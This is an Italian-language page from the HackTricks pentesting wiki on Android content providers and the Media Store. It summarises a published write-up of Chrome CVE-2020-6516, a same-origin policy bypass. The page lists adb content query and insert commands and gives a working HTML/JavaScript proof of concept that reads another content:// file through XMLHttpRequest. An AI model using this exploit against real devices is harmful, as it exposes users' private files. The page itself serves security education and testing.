hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
2024-02-10 13:03:23 +00:00

5.9 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Questa è una sintesi del post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Elenco dei file in Media Store

Per elencare i file gestiti da Media Store, può essere utilizzato il comando seguente:

$ content query --uri content://media/external/file

Per ottenere un output più comprensibile per gli utenti, visualizzando solo l'identificatore e il percorso di ogni file indicizzato:

$ content query --uri content://media/external/file --projection _id,_data

I provider di contenuti sono isolati nel proprio namespace privato. L'accesso a un provider richiede un URI specifico content://. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.

Accesso di Chrome ai provider di contenuti

Chrome su Android può accedere ai provider di contenuti tramite lo schema content://, consentendo di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare ciò, è possibile inserire un file nel Media Store e quindi accedervi tramite Chrome:

Inserisci una voce personalizzata nel Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Scopri l'identificatore del file appena inserito:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Il file può quindi essere visualizzato in Chrome utilizzando un URL costruito con l'identificatore del file.

Ad esempio, per elencare i file relativi a un'applicazione specifica:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass della Same-Origin-Policy

La Same Origin Policy (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse, a meno che non sia esplicitamente consentito da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire le falle di informazioni e i falsi richieste di siti incrociati. Chrome considera content:// come uno schema locale, implicando regole SOP più rigorose, in cui ogni URL con schema locale viene trattato come un'origine separata.

Tuttavia, CVE-2020-6516 era una vulnerabilità in Chrome che consentiva di aggirare le regole SOP per le risorse caricate tramite un URL content://. In pratica, il codice JavaScript da un URL content:// poteva accedere ad altre risorse caricate tramite URL content://, il che rappresentava una preoccupazione significativa per la sicurezza, specialmente sui dispositivi Android con versioni precedenti ad Android 10, dove lo storage limitato non era implementato.

Il seguente esempio dimostra questa vulnerabilità, in cui un documento HTML, dopo essere stato caricato in /sdcard e aggiunto al Media Store, utilizza XMLHttpRequest nel suo JavaScript per accedere e visualizzare il contenuto di un altro file nel Media Store, aggirando le regole SOP.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: